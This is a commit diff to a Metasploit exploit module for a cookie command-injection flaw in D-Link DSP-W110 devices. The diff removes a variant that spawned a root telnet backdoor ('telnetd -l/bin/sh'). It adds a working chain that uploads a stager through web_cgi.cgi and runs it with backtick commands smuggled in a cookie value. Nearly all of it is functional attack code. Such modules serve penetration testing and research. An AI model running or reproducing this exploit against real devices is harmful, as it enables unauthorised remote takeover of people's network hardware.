echo stager via upload vulnerability
parent
d8e11789ea
commit
8bc012a665
|
@ -9,13 +9,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link Cookie Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an anonymous remote code execution vulnerability on different D-Link
|
||||
devices. The vulnerability is a command injection in the cookie handling process of the
|
||||
This module exploits an anonymous remote upload and code execution vulnerability on different
|
||||
D-Link devices. The vulnerability is a command injection in the cookie handling process of the
|
||||
lighttpd web server when handling specially crafted cookie values. This module has been
|
||||
successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment and on the real
|
||||
device.
|
||||
|
@ -32,37 +33,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
|
||||
],
|
||||
'DisclosureDate' => 'Jun 12 2015',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ]
|
||||
[ 'MIPS Little Endian',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSLE
|
||||
}
|
||||
],
|
||||
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSBE
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
'DefaultTarget' => 1
|
||||
))
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
|
||||
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def tel_timeout
|
||||
(datastore['TelnetTimeout'] || 10).to_i
|
||||
end
|
||||
|
||||
def banner_timeout
|
||||
(datastore['TelnetBannerTimeout'] || 25).to_i
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -89,64 +80,66 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
print_status("#{peer} - Uploading stager ...")
|
||||
@counter = 1
|
||||
execute_cmdstager(
|
||||
:flavor => :echo,
|
||||
:linemax => 99 #limited by our upload, larger payloads crash the web server
|
||||
)
|
||||
|
||||
cmd = "telnetd -l/bin/sh"
|
||||
execute_command(cmd)
|
||||
telnetport = 23
|
||||
handle_telnet(telnetport)
|
||||
print_status("#{peer} - creating payload and executing it ...")
|
||||
|
||||
(1 .. @counter).each do |act_file|
|
||||
#the http server blocks access to our files ... we copy it to a new one
|
||||
#the length of our command is restricted to 19 characters
|
||||
cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
|
||||
execute_final_command(cmd)
|
||||
cmd = "chmod +x /tmp/#{act_file+@counter}"
|
||||
execute_final_command(cmd)
|
||||
cmd = "/tmp/#{act_file+@counter}"
|
||||
execute_final_command(cmd)
|
||||
cmd = "rm /tmp/#{act_file}"
|
||||
execute_final_command(cmd)
|
||||
cmd = "rm /tmp/#{act_file+@counter}"
|
||||
execute_final_command(cmd)
|
||||
end
|
||||
end
|
||||
|
||||
def handle_telnet(telnetport)
|
||||
def execute_command(cmd,opts)
|
||||
#upload our stager to a shell script
|
||||
#upload takes quite long because there is no response from the web server
|
||||
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
||||
data_cmd = "------------------------------9bcdb049f0d2\r\n"
|
||||
data_cmd << "Content-Disposition: form-data; name=\"name\"; filename=\"#{@counter}\"\r\n"
|
||||
data_cmd << "Content-Type: application/octet-stream\r\n\r\n"
|
||||
data_cmd << "#!/bin/sh\n"
|
||||
data_cmd << cmd
|
||||
data_cmd << "\n------------------------------9bcdb049f0d2--"
|
||||
|
||||
if sock
|
||||
print_good("#{peer} - Backdoor service spawned")
|
||||
add_socket(sock)
|
||||
else
|
||||
fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned")
|
||||
end
|
||||
@counter = @counter + 1
|
||||
|
||||
print_status("#{peer} - Trying to establish a telnet session...")
|
||||
prompt = negotiate_telnet(sock)
|
||||
if prompt.nil?
|
||||
sock.close
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to establish a telnet session")
|
||||
else
|
||||
print_good("#{peer} - Telnet session successfully established...")
|
||||
end
|
||||
|
||||
handler(sock)
|
||||
end
|
||||
|
||||
def execute_command(cmd)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/web_cgi.cgi?&request=UploadFile&path=/tmp/",
|
||||
'ctype' => "multipart/form-data; boundary=----------------------------9bcdb049f0d2",
|
||||
'data' => data_cmd
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def execute_final_command(cmd)
|
||||
begin
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => "/",
|
||||
'cookie' => "i=`#{cmd}`"
|
||||
}, 5)
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
|
||||
# Since there isn't user/password negotiation, just wait until the prompt is there
|
||||
def negotiate_telnet(sock)
|
||||
begin
|
||||
Timeout.timeout(banner_timeout) do
|
||||
while(true)
|
||||
data = sock.get_once(-1, tel_timeout)
|
||||
return nil if not data or data.length == 0
|
||||
if data =~ /\x23\x20$/
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue